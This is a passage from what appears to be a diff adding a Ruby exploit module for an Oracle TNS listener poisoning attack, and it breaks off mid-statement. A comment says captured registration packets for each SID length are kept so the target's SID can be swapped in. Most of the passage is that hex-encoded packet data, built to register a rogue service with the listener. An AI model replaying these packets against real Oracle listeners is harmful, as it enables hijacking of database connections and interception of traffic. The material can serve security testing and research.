+ @typerep_client_lin2win << "\x02\x00\x0a\x00\x00\x00\x9a\x00\x02\x00\x0a\x00\x00\x00\x9b\x00" + @typerep_client_lin2win << "\x01\x00\x01\x00\x00\x00\x9c\x00\x0c\x00\x0a\x00\x00\x00\xac\x00" + @typerep_client_lin2win << "\x02\x00\x0a\x00\x00\x00\xb2\x00\xb2\x00\x01\x00\x00\x00\xb3\x00" + @typerep_client_lin2win << "\xb3\x00\x01\x00\x00\x00\xb4\x00\xb4\x00\x01\x00\x00\x00\xb5\x00" + @typerep_client_lin2win << "\xb5\x00\x01\x00\x00\x00\xb6\x00\xb6\x00\x01\x00\x00\x00\xb7\x00" + @typerep_client_lin2win << "\xb7\x00\x01\x00\x00\x00\xb8\x00\x0c\x00\x0a\x00\x00\x00\xb9\x00" + @typerep_client_lin2win << "\xb2\x00\x01\x00\x00\x00\xba\x00\xb3\x00\x01\x00\x00\x00\xbb\x00" + @typerep_client_lin2win << "\xb4\x00\x01\x00\x00\x00\xbc\x00\xb5\x00\x01\x00\x00\x00\xbd\x00" + @typerep_client_lin2win << "\xb6\x00\x01\x00\x00\x00\xbe\x00\xb7\x00\x01\x00\x00\x00\xbf\x00" + @typerep_client_lin2win << "\x00\x00\xc0\x00\x00\x00\xc3\x00\x70\x00\x01\x00\x00\x00\xc4\x00" + @typerep_client_lin2win << "\x71\x00\x01\x00\x00\x00\xc5\x00\x72\x00\x01\x00\x00\x00\xd0\x00" + @typerep_client_lin2win << "\xd0\x00\x01\x00\x00\x00\xd1\x00\x00\x00\xe7\x00\xe7\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\xe8\x00\xe7\x00\x01\x00\x00\x00\xe9\x00\xe9\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\xf1\x00\x6d\x00\x01\x00\x00\x02\x03\x02\x03\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x00" + + #For the tns poison attack we collected the all possible SID + #length (1-12) and we just replacing the orcl12345678 string + #with the given SID on the actual length. These are the + #captured packets. + + @regpacket=Array.new(12) + @regpacket[0]="\x05\x76\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x6c\x24\x08" + @regpacket[0] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[0] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[0] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9" + @regpacket[0] << "\x58\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[0] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[0] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[0] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xf4\x04" + @regpacket[0] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x78\xf5\xdd\x0a\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\xb0\x00\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x08\xa9\x57\x0b\x00\x00\x00\x00\x4d\xea\xf3\x75\x44\x37" + @regpacket[0] << "\x4e\x1c\x8c\x39\x38\xe6\x58\x20\xc9\x15\x02\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\xe0\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x88\x02\x42\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[0] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x60\xf5\xdd\x0a\x00\x00\x00\x00\x6f\x00\x28\x48\x4f\x53" + @regpacket[0] << "\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66" + @regpacket[0] << "\x66\x29\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x50\xda\x89\x25\xff\x07\x00\x00\x02\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x28\xda\x89\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x98\xa7\x57\x0b\x00\x00\x00\x00\x6f\x58\x44\x42\x00" + @regpacket[0] << "\x05\x00\x00\x00\x00\x00\x00\x00\x50\xda\x89\x25\xff\x07\x00\x00" + @regpacket[0] << "\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00" + @regpacket[0] << "\x70\x8f\x57\x0b\x00\x00\x00\x00\x6f\x58\x44\x42\x00\x01\x00\x00" + @regpacket[0] << "\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x48\xcf\xaa" + @regpacket[0] << "\x25\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x20\xcf\xaa" + @regpacket[0] << "\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa6\x57" + @regpacket[0] << "\x0b\x00\x00\x00\x00\x6f\x00\x02\x00\x00\x00\x00\x00\x00\x00\x48" + @regpacket[0] << "\xcf\xaa\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01" + @regpacket[0] << "\x00\x00\x00\x06\x00\x00\x00\x10\xfc\xdd\x0a\x00\x00\x00\x00\x6f" + @regpacket[0] << "\x00\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\xb8\x94\x98\x25\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x50\x66\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\xc0\xa9\x57\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49" + @regpacket[0] << "\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28" + @regpacket[0] << "\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f" + @regpacket[0] << "\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29" + @regpacket[0] << "\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x45\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\xb8\x94\x98\x25\xff\x07\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x20\xa6\x57\x0b\x00\x00\x00\x00\x28\x44" + @regpacket[0] << "\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52" + @regpacket[0] << "\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63" + @regpacket[0] << "\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e" + @regpacket[0] << "\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29" + @regpacket[0] << "\x29\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\xb8\x97\x57\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x90\x66\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x50\xa8\x57\x0b\x00\x00\x00\x00\x2d\x47\xac\x30\xe3" + @regpacket[0] << "\x6f\x48\x62\x99\x11\x7e\xe6\x68\x8a\xe0\x5b\x05\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x60\x6a\xf6\x21\xff\x07\x00\x00\x3b\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\xe0\x91\x94\x25\xff\x07\x00\x00\x31\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\xfc\x66\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe" + @regpacket[0] << "\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x40\xf6\xef\x1f\xff" + @regpacket[0] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97\x57\x0b\x00" + @regpacket[0] << "\x00\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52\x45\x53\x53" + @regpacket[0] << "\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28" + @regpacket[0] << "\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64" + @regpacket[0] << "\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39\x31\x37\x36" + @regpacket[0] << "\x29\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52\x20\x3c\x6d" + @regpacket[0] << "\x61\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73\x73\x73\x73" + @regpacket[0] << "\x64\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a\x20\x31\x36" + @regpacket[0] << "\x36\x38\x3e\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\xc8\xfb\xdd\x0a\x00\x00\x00\x00\x04\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\x88\x99\xdd\x0a\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9\x71\x5c\xe0" + @regpacket[0] << "\x2e\xc5\x47\xad\x93\xf6\x02\xe0\x84\x0d\xad\x18\x28\xda\x89\x25" + @regpacket[0] << "\xff\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x2c\x54\x7b\x47" + @regpacket[0] << "\x01\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x88\x45\xac\x25" + @regpacket[0] << "\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0\x79\x7b\x47" + @regpacket[0] << "\x01\x00\x00\x00\x16\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00" + @regpacket[0] << "\x02\x00\x00\x00\x68\xcf\xaa\x25\xff\x07\x00\x00\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x00\xb0\xfb\xdd\x0a\x00\x00\x00\x00\x44\x45\x44\x49" + @regpacket[0] << "\x43\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28" + @regpacket[0] << "\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f" + @regpacket[0] << "\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66" + @regpacket[0] << "\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x00" + @regpacket[0] << "\x52\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56\x45\x52\x00\x05\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x50\xda\x89\x25\xff\x07\x00\x00\x05\x00" + @regpacket[0] << "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f" + @regpacket[0] << "\x57\x0b\x00\x00\x00\x00\x6f\x58\x44\x42\x00\x20\xcf\xaa\x25\xff" + @regpacket[0] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00" + @regpacket[0] << "\x00\x00\x00\x48\xcf\xaa\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01" + @regpacket[0] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x10\xfc\xdd\x0a\x00" + @regpacket[0] << "\x00\x00\x00\x6f\x00\x00" + + @regpacket[1]="\x05\x7e\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x74\x24\x08" + @regpacket[1] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[1] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[1] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9" + @regpacket[1] << "\x46\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[1] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[1] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[1] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x04" + @regpacket[1] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x80\xf5\x2d\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\xb0\x00\x4e\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\xc8\xa8\x45\x0b\x00\x00\x00\x00\xf9\x26\xe6\x21\x8b\x80" + @regpacket[1] << "\x4e\x6a\xbd\x8d\x77\x69\xbf\x4e\x3b\x53\x03\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\xe0\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x88\x02\x4e\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[1] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x68\xf5\x2d\x0b\x00\x00\x00\x00\x6f\x72\x00\x28\x48\x4f" + @regpacket[1] << "\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66" + @regpacket[1] << "\x66\x66\x29\x00\x01\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x78\xa9\xff\x1f\xff\x07\x00\x00\x02\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x50\xa9\xff\x1f\xff\x07\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x58\xa7\x45\x0b\x00\x00\x00\x00\x6f\x72\x58\x44" + @regpacket[1] << "\x42\x00\x06\x00\x00\x00\x00\x00\x00\x00\x78\xa9\xff\x1f\xff\x07" + @regpacket[1] << "\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00" + @regpacket[1] << "\x00\x00\x70\x8f\x45\x0b\x00\x00\x00\x00\x6f\x72\x58\x44\x42\x00" + @regpacket[1] << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\xc8\xd9\xa8\x25\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\xa0\xd9\xa8\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\xa0\xa6\x45\x0b\x00\x00\x00\x00\x6f\x72\x00\x03\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\xc8\xd9\xa8\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01" + @regpacket[1] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x2d\x0b\x00" + @regpacket[1] << "\x00\x00\x00\x6f\x72\x00\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\xf0\x80\x85\x25\xff\x07\x00\x00\x03\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x50\x66\x4e\x0b\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x80\xa9\x45\x0b\x00\x00\x00\x00\x28\x44" + @regpacket[1] << "\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52" + @regpacket[1] << "\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63" + @regpacket[1] << "\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e" + @regpacket[1] << "\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29" + @regpacket[1] << "\x29\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00\xf0\x80\x85\x25\xff" + @regpacket[1] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5\x45\x0b\x00" + @regpacket[1] << "\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d" + @regpacket[1] << "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43" + @regpacket[1] << "\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32" + @regpacket[1] << "\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d" + @regpacket[1] << "\x31\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00" + @regpacket[1] << "\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97\x45\x0b\x00\x00\x00\x00" + @regpacket[1] << "\x04\x00\x00\x00\x00\x00\x00\x00\x90\x66\x4e\x0b\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8\x45\x0b\x00\x00\x00\x00" + @regpacket[1] << "\xb9\x78\x40\x43\x75\xac\x47\x32\x9a\x40\xe3\x66\xc7\x4c\x74\xc2" + @regpacket[1] << "\x05\x00\x00\x00\x00\x00\x00\x00\x60\x5a\xf6\x21\xff\x07\x00\x00" + @regpacket[1] << "\x3b\x00\x00\x00\x00\x00\x00\x00\xe0\x91\x94\x25\xff\x07\x00\x00" + @regpacket[1] << "\x31\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x4e\x0b\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00" + @regpacket[1] << "\xc8\x58\xea\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\xa0\x97\x45\x0b\x00\x00\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44" + @regpacket[1] << "\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d" + @regpacket[1] << "\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73" + @regpacket[1] << "\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d" + @regpacket[1] << "\x34\x39\x31\x38\x30\x29\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48" + @regpacket[1] << "\x45\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61" + @regpacket[1] << "\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69" + @regpacket[1] << "\x64\x3a\x20\x32\x33\x31\x36\x3e\x00\x01\x00\x00\x00\x10\x00\x00" + @regpacket[1] << "\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\x2d\x0b\x00\x00\x00" + @regpacket[1] << "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\x2d\x0b\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\xc2\x7b\x46\x6c\x4d\x1e\x43\xb9\x90\x89\x11\x1d\x54\x91\x08" + @regpacket[1] << "\x7d\x50\xa9\xff\x1f\xff\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x88\x45\xac\x25\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\xf0\x79\x7b\x47\x01\x00\x00\x00\x05\x00\x00\x00\x95\x00\x00" + @regpacket[1] << "\x00\x02\x00\x00\x00\x02\x00\x00\x00\xe8\xd9\xa8\x25\xff\x07\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\x2d\x0b\x00\x00\x00" + @regpacket[1] << "\x00\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52" + @regpacket[1] << "\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43" + @regpacket[1] << "\x50\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73" + @regpacket[1] << "\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35" + @regpacket[1] << "\x32\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56" + @regpacket[1] << "\x45\x52\x00\x06\x00\x00\x00\x00\x00\x00\x00\x78\xa9\xff\x1f\xff" + @regpacket[1] << "\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06" + @regpacket[1] << "\x00\x00\x00\x70\x8f\x45\x0b\x00\x00\x00\x00\x6f\x72\x58\x44\x42" + @regpacket[1] << "\x00\xa0\xd9\xa8\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[1] << "\x00\x03\x00\x00\x00\x00\x00\x00\x00\xc8\xd9\xa8\x25\xff\x07\x00" + @regpacket[1] << "\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00" + @regpacket[1] << "\x00\x18\xfc\x2d\x0b\x00\x00\x00\x00\x6f\x72\x00\x00\x00" + + @regpacket[2]="\x05\x86\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x7c\x24\x08" + @regpacket[2] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[2] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[2] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9" + @regpacket[2] << "\x3f\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[2] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[2] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[2] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05" + @regpacket[2] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x80\xf5\xdc\x0a\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\xb0\x00\x49\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\xc8\xa8\x3e\x0b\x00\x00\x00\x00\xbc\x1d\xb3\x43\x7b\xa0" + @regpacket[2] << "\x4f\xcc\x88\xb6\xc5\xeb\xf6\x62\xe2\x67\x04\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\xe0\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x88\x02\x49\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[2] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x68\xf5\xdc\x0a\x00\x00\x00\x00\x6f\x72\x63\x00\x28\x48" + @regpacket[2] << "\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64" + @regpacket[2] << "\x66\x66\x66\x29\x00\x01\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x78\xa9\xff\x1f\xff\x07\x00\x00\x02\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x50\xa9\xff\x1f\xff\x07\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x58\xa7\x3e\x0b\x00\x00\x00\x00\x6f\x72\x63" + @regpacket[2] << "\x58\x44\x42\x00\x07\x00\x00\x00\x00\x00\x00\x00\x78\xa9\xff\x1f" + @regpacket[2] << "\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" + @regpacket[2] << "\x06\x00\x00\x00\x70\x8f\x3e\x0b\x00\x00\x00\x00\x6f\x72\x63\x58" + @regpacket[2] << "\x44\x42\x00\x01\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x48\xcf\xaa\x25\xff\x07\x00\x00\x02\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x20\xcf\xaa\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\xa0\xa6\x3e\x0b\x00\x00\x00\x00\x6f\x72\x63\x00\x04" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x00\x48\xcf\xaa\x25\xff\x07\x00\x00\x04" + @regpacket[2] << "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18" + @regpacket[2] << "\xfc\xdc\x0a\x00\x00\x00\x00\x6f\x72\x63\x00\x01\x00\x00\x00\x45" + @regpacket[2] << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8\x6a\xf1\x1f\xff" + @regpacket[2] << "\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x66\x49\x0b\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa9\x3e\x0b\x00" + @regpacket[2] << "\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d" + @regpacket[2] << "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43" + @regpacket[2] << "\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32" + @regpacket[2] << "\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d" + @regpacket[2] << "\x31\x35\x32\x31\x29\x29\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\xe8\x6a\xf1\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\xe0\xa5\x3e\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50" + @regpacket[2] << "\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50" + @regpacket[2] << "\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53" + @regpacket[2] << "\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28" + @regpacket[2] << "\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00" + @regpacket[2] << "\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97\x3e" + @regpacket[2] << 